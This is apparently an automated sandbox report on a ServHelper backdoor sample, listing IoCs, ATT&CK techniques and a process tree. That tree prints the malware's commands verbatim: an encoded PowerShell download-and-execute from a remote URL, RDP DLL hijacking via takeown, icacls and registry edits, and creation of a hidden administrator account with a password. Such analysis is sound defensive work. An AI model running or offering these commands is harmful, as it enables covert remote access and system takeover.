servhelper | 031527224e74b82bf16e639c666134674ecc8a6e648fed2f68255617bd6a3b18

Analysis

max time kernel
137s
max time network
163s
platform
windows7_x64
resource
win7v20210408
submitted
30-07-2021 15:25

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

6c4aab4c3bd1ba8f77a781d70ecbc1b4c7dfd9d3c7ad60158fb8d35d1d4246e2.exe
Size

4.6MB
MD5

eaee663dfeb2efcd9ec669f5622858e2
SHA1

2b96f0d568128240d0c53b2a191467fde440fd93
SHA256

6c4aab4c3bd1ba8f77a781d70ecbc1b4c7dfd9d3c7ad60158fb8d35d1d4246e2
SHA512

211951f053ddecc6e0545a83119112d6ad375e226437d6a26ed493b362e51da3718131d59fb045c9b2feea91e04d3b82e9be4e52a46fe2e84ed4f3b4ed2213b3

Score

10^/10

servhelper backdoor discovery exploit persistence trojan upx

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

ServHelper
ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.
trojan backdoor servhelper
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Blocklisted process makes network request 1 IoCs

flow	pid	Process
11	764	powershell.exe

Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1076

Possible privilege escalation attempt 8 IoCs

exploit

pid	Process
272	icacls.exe
1356	icacls.exe
1732	icacls.exe
1728	icacls.exe
1724	icacls.exe
588	icacls.exe
384	takeown.exe
1584	icacls.exe

Sets DLL path for service in the registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral20/files/0x0004000000013113-181.dat	upx
behavioral20/files/0x0005000000013116-182.dat	upx

Loads dropped DLL 2 IoCs

pid	Process
1692	Process not Found
1692	Process not Found

Modifies file permissions 1 TTPs 8 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
384	takeown.exe
1584	icacls.exe
272	icacls.exe
1356	icacls.exe
1732	icacls.exe
1728	icacls.exe
1724	icacls.exe
588	icacls.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\system32\rfxvmt.dll	powershell.exe

Drops file in Windows directory 21 IoCs

description	ioc	Process
File opened for modification	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_3580db26-b82b-47d9-8e5f-e24f5b14eb4e	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_1cf4031a-ca01-41ea-8046-44708c88615d	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_50bc70bd-f0fa-4b04-aebd-701ed7e4a96c	powershell.exe
File opened for modification	C:\Windows\branding\Basebrd	powershell.exe
File opened for modification	C:\Windows\branding\mediasvc.png	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_ed7b35f6-9634-40a8-ac32-afa719ee2e50	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_7cd598a8-2bd4-4e30-a321-a292ad4582c4	powershell.exe
File created	C:\Windows\branding\mediasrv.png	powershell.exe
File created	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\branding\mediasrv.png	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\ASY756RMWBBEDR3ACTXH.temp	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_5873f907-384f-419e-a7f2-77e336422f09	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_09b3c272-c5d6-4407-a44c-bd7b90aec184	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_8db55974-e7ca-45a0-8d5a-6a13f50f228d	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_dd092868-a398-4a63-9e80-98d8bf5f0f99	powershell.exe
File created	C:\Windows\branding\mediasvc.png	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_ffa327ee-faa2-4c99-abc7-a016aa600630	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_14a1c626-a976-4aa5-96b6-5b17ce6ba831	powershell.exe
File opened for modification	C:\Windows\branding\ShellBrd	powershell.exe

Modifies data under HKEY_USERS 4 IoCs

description	ioc	Process
Set value (data)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = a02933426885d701	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
1972	reg.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 13 IoCs

pid	Process
688	powershell.exe
688	powershell.exe
620	powershell.exe
620	powershell.exe
1644	powershell.exe
1644	powershell.exe
1568	powershell.exe
1568	powershell.exe
688	powershell.exe
688	powershell.exe
688	powershell.exe
764	powershell.exe
764	powershell.exe

Suspicious behavior: LoadsDriver 5 IoCs

pid	Process
488	Process not Found
1692	Process not Found
1692	Process not Found
1692	Process not Found
1692	Process not Found

Suspicious use of AdjustPrivilegeToken 18 IoCs

description	pid	Process
Token: SeDebugPrivilege	688	powershell.exe
Token: SeDebugPrivilege	620	powershell.exe
Token: SeDebugPrivilege	1644	powershell.exe
Token: SeDebugPrivilege	1568	powershell.exe
Token: SeRestorePrivilege	272	icacls.exe
Token: SeAssignPrimaryTokenPrivilege	1672	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1672	WMIC.exe
Token: SeAuditPrivilege	1672	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1672	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1672	WMIC.exe
Token: SeAuditPrivilege	1672	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1164	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1164	WMIC.exe
Token: SeAuditPrivilege	1164	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1164	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1164	WMIC.exe
Token: SeAuditPrivilege	1164	WMIC.exe
Token: SeDebugPrivilege	764	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1660 wrote to memory of 688	1660	6c4aab4c3bd1ba8f77a781d70ecbc1b4c7dfd9d3c7ad60158fb8d35d1d4246e2.exe	29
PID 1660 wrote to memory of 688	1660	6c4aab4c3bd1ba8f77a781d70ecbc1b4c7dfd9d3c7ad60158fb8d35d1d4246e2.exe	29
PID 1660 wrote to memory of 688	1660	6c4aab4c3bd1ba8f77a781d70ecbc1b4c7dfd9d3c7ad60158fb8d35d1d4246e2.exe	29
PID 688 wrote to memory of 900	688	powershell.exe	31
PID 688 wrote to memory of 900	688	powershell.exe	31
PID 688 wrote to memory of 900	688	powershell.exe	31
PID 900 wrote to memory of 664	900	csc.exe	32
PID 900 wrote to memory of 664	900	csc.exe	32
PID 900 wrote to memory of 664	900	csc.exe	32
PID 688 wrote to memory of 620	688	powershell.exe	33
PID 688 wrote to memory of 620	688	powershell.exe	33
PID 688 wrote to memory of 620	688	powershell.exe	33
PID 688 wrote to memory of 1644	688	powershell.exe	35
PID 688 wrote to memory of 1644	688	powershell.exe	35
PID 688 wrote to memory of 1644	688	powershell.exe	35
PID 688 wrote to memory of 1568	688	powershell.exe	37
PID 688 wrote to memory of 1568	688	powershell.exe	37
PID 688 wrote to memory of 1568	688	powershell.exe	37
PID 688 wrote to memory of 384	688	powershell.exe	40
PID 688 wrote to memory of 384	688	powershell.exe	40
PID 688 wrote to memory of 384	688	powershell.exe	40
PID 688 wrote to memory of 1584	688	powershell.exe	41
PID 688 wrote to memory of 1584	688	powershell.exe	41
PID 688 wrote to memory of 1584	688	powershell.exe	41
PID 688 wrote to memory of 272	688	powershell.exe	42
PID 688 wrote to memory of 272	688	powershell.exe	42
PID 688 wrote to memory of 272	688	powershell.exe	42
PID 688 wrote to memory of 1356	688	powershell.exe	43
PID 688 wrote to memory of 1356	688	powershell.exe	43
PID 688 wrote to memory of 1356	688	powershell.exe	43
PID 688 wrote to memory of 1732	688	powershell.exe	44
PID 688 wrote to memory of 1732	688	powershell.exe	44
PID 688 wrote to memory of 1732	688	powershell.exe	44
PID 688 wrote to memory of 1728	688	powershell.exe	45
PID 688 wrote to memory of 1728	688	powershell.exe	45
PID 688 wrote to memory of 1728	688	powershell.exe	45
PID 688 wrote to memory of 1724	688	powershell.exe	46
PID 688 wrote to memory of 1724	688	powershell.exe	46
PID 688 wrote to memory of 1724	688	powershell.exe	46
PID 688 wrote to memory of 588	688	powershell.exe	47
PID 688 wrote to memory of 588	688	powershell.exe	47
PID 688 wrote to memory of 588	688	powershell.exe	47
PID 688 wrote to memory of 1128	688	powershell.exe	48
PID 688 wrote to memory of 1128	688	powershell.exe	48
PID 688 wrote to memory of 1128	688	powershell.exe	48
PID 688 wrote to memory of 1972	688	powershell.exe	49
PID 688 wrote to memory of 1972	688	powershell.exe	49
PID 688 wrote to memory of 1972	688	powershell.exe	49
PID 688 wrote to memory of 676	688	powershell.exe	50
PID 688 wrote to memory of 676	688	powershell.exe	50
PID 688 wrote to memory of 676	688	powershell.exe	50
PID 688 wrote to memory of 1640	688	powershell.exe	51
PID 688 wrote to memory of 1640	688	powershell.exe	51
PID 688 wrote to memory of 1640	688	powershell.exe	51
PID 1640 wrote to memory of 2036	1640	net.exe	52
PID 1640 wrote to memory of 2036	1640	net.exe	52
PID 1640 wrote to memory of 2036	1640	net.exe	52
PID 688 wrote to memory of 1248	688	powershell.exe	53
PID 688 wrote to memory of 1248	688	powershell.exe	53
PID 688 wrote to memory of 1248	688	powershell.exe	53
PID 1248 wrote to memory of 1176	1248	cmd.exe	54
PID 1248 wrote to memory of 1176	1248	cmd.exe	54
PID 1248 wrote to memory of 1176	1248	cmd.exe	54
PID 1176 wrote to memory of 2032	1176	cmd.exe	55

C:\Users\Admin\AppData\Local\Temp\6c4aab4c3bd1ba8f77a781d70ecbc1b4c7dfd9d3c7ad60158fb8d35d1d4246e2.exe
"C:\Users\Admin\AppData\Local\Temp\6c4aab4c3bd1ba8f77a781d70ecbc1b4c7dfd9d3c7ad60158fb8d35d1d4246e2.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1660
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
  2⤵
  - Drops file in System32 directory
  - Drops file in Windows directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:688
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\ax243g2c\ax243g2c.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:900
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES4C1D.tmp" "c:\Users\Admin\AppData\Local\Temp\ax243g2c\CSCF44B0B12EDA144EC9791879C166FE881.TMP"
      4⤵
      PID:664
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:620
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1644
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1568
- - C:\Windows\system32\takeown.exe
    "C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:384
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1584
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    - Suspicious use of AdjustPrivilegeToken
    PID:272
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1356
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1732
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1728
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1724
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:588
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
    3⤵
    PID:1128
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
    3⤵
    - Modifies registry key
    PID:1972
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
    3⤵
    PID:676
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1640
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
      4⤵
      PID:2036
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1248
  - - C:\Windows\system32\cmd.exe
      cmd /c net start rdpdr
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1176
    - - C:\Windows\system32\net.exe
        
        net start rdpdr
        5⤵
        
        PID:2032
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start rdpdr
        6⤵
        
        PID:1156
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
    3⤵
    PID:596
  - - C:\Windows\system32\cmd.exe
      cmd /c net start TermService
      4⤵
      PID:572
    - - C:\Windows\system32\net.exe
        
        net start TermService
        5⤵
        
        PID:1568
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start TermService
        6⤵
        
        PID:1924
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
    3⤵
    PID:2036
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
    3⤵
    PID:1672

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc 000000 /del
1⤵
PID:1384
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc 000000 /del
  2⤵
  PID:1672
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc 000000 /del
    3⤵
    PID:1728

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc 3ybcpC4v /add
1⤵
PID:1332
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc 3ybcpC4v /add
  2⤵
  PID:340
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc 3ybcpC4v /add
    3⤵
    PID:620

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
1⤵
PID:1292
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
  2⤵
  PID:1900
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
    3⤵
    PID:1216

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" QWOCTUPM$ /ADD
1⤵
PID:1828
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" QWOCTUPM$ /ADD
  2⤵
  PID:456
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" QWOCTUPM$ /ADD
    3⤵
    PID:1564

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
1⤵
PID:1864
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
  2⤵
  PID:1988
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD
    3⤵
    PID:1972

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc 3ybcpC4v
1⤵
PID:1332
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc 3ybcpC4v
  2⤵
  PID:1248
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc 3ybcpC4v
    3⤵
    PID:936

C:\Windows\System32\cmd.exe
cmd.exe /C wmic path win32_VideoController get name
1⤵
PID:912
- C:\Windows\System32\Wbem\WMIC.exe
  wmic path win32_VideoController get name
  2⤵
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1672

C:\Windows\System32\cmd.exe
cmd.exe /C wmic CPU get NAME
1⤵
PID:1844
- C:\Windows\System32\Wbem\WMIC.exe
  wmic CPU get NAME
  2⤵
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1164

C:\Windows\System32\cmd.exe
cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
1⤵
PID:1348
- C:\Windows\system32\cmd.exe
  cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
  2⤵
  PID:768
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
    3⤵
    - Blocklisted process makes network request
    - Drops file in Windows directory
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:764

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Account Manipulation

T1098

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Modify Registry

T1112

Credential Access

Account Manipulation

T1098

Discovery

Lateral Movement

Remote Desktop Protocol

T1076

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/620-93-0x000000001AB10000-0x000000001AB12000-memory.dmp

Filesize
8KB

Download
memory/620-94-0x000000001AB14000-0x000000001AB16000-memory.dmp

Filesize
8KB

Download
memory/620-100-0x000000001B500000-0x000000001B501000-memory.dmp

Filesize
4KB

Download
memory/620-98-0x000000001AA80000-0x000000001AA81000-memory.dmp

Filesize
4KB

Download
memory/620-101-0x0000000002320000-0x0000000002321000-memory.dmp

Filesize
4KB

Download
memory/620-121-0x000000001B650000-0x000000001B651000-memory.dmp

Filesize
4KB

Download
memory/620-96-0x0000000002490000-0x0000000002491000-memory.dmp

Filesize
4KB

Download
memory/620-120-0x000000001B600000-0x000000001B601000-memory.dmp

Filesize
4KB

Download
memory/620-107-0x00000000027B0000-0x00000000027B1000-memory.dmp

Filesize
4KB

Download
memory/688-68-0x0000000002400000-0x0000000002401000-memory.dmp

Filesize
4KB

Download
memory/688-67-0x000007FEFC4A1000-0x000007FEFC4A3000-memory.dmp

Filesize
8KB

Download
memory/688-87-0x00000000026F0000-0x00000000026F1000-memory.dmp

Filesize
4KB

Download
memory/688-71-0x000000001AC04000-0x000000001AC06000-memory.dmp

Filesize
8KB

Download
memory/688-70-0x000000001AC00000-0x000000001AC02000-memory.dmp

Filesize
8KB

Download
memory/688-72-0x0000000002440000-0x0000000002441000-memory.dmp

Filesize
4KB

Download
memory/688-86-0x000000001C530000-0x000000001C531000-memory.dmp

Filesize
4KB

Download
memory/688-85-0x000000001C4B0000-0x000000001C4B1000-memory.dmp

Filesize
4KB

Download
memory/688-83-0x0000000002470000-0x0000000002471000-memory.dmp

Filesize
4KB

Download
memory/688-69-0x000000001AC80000-0x000000001AC81000-memory.dmp

Filesize
4KB

Download
memory/688-73-0x0000000002500000-0x0000000002501000-memory.dmp

Filesize
4KB

Download
memory/688-102-0x000000001AC0A000-0x000000001AC29000-memory.dmp

Filesize
124KB

Download
memory/688-75-0x000000001B850000-0x000000001B851000-memory.dmp

Filesize
4KB

Download
memory/688-158-0x000000001C640000-0x000000001C641000-memory.dmp

Filesize
4KB

Download
memory/764-238-0x000000001952A000-0x0000000019549000-memory.dmp

Filesize
124KB

Download
memory/764-207-0x0000000019524000-0x0000000019526000-memory.dmp

Filesize
8KB

Download
memory/764-206-0x0000000019520000-0x0000000019522000-memory.dmp

Filesize
8KB

Download
memory/1568-149-0x000000001AA40000-0x000000001AA42000-memory.dmp

Filesize
8KB

Download
memory/1568-150-0x000000001AA44000-0x000000001AA46000-memory.dmp

Filesize
8KB

Download
memory/1644-135-0x0000000002270000-0x0000000002271000-memory.dmp

Filesize
4KB

Download
memory/1644-134-0x0000000002650000-0x0000000002651000-memory.dmp

Filesize
4KB

Download
memory/1644-132-0x000000001B6F0000-0x000000001B6F1000-memory.dmp

Filesize
4KB

Download
memory/1644-130-0x0000000002580000-0x0000000002581000-memory.dmp

Filesize
4KB

Download
memory/1644-129-0x000000001AB54000-0x000000001AB56000-memory.dmp

Filesize
8KB

Download
memory/1644-128-0x000000001AB50000-0x000000001AB52000-memory.dmp

Filesize
8KB

Download
memory/1660-65-0x0000000041237000-0x0000000041238000-memory.dmp

Filesize
4KB

Download
memory/1660-62-0x0000000041232000-0x0000000041234000-memory.dmp

Filesize
8KB

Download
memory/1660-60-0x0000000041560000-0x000000004180A000-memory.dmp

Filesize
2.7MB

Download
memory/1660-64-0x0000000041236000-0x0000000041237000-memory.dmp

Filesize
4KB

Download
memory/1660-63-0x0000000041234000-0x0000000041236000-memory.dmp

Filesize
8KB

Download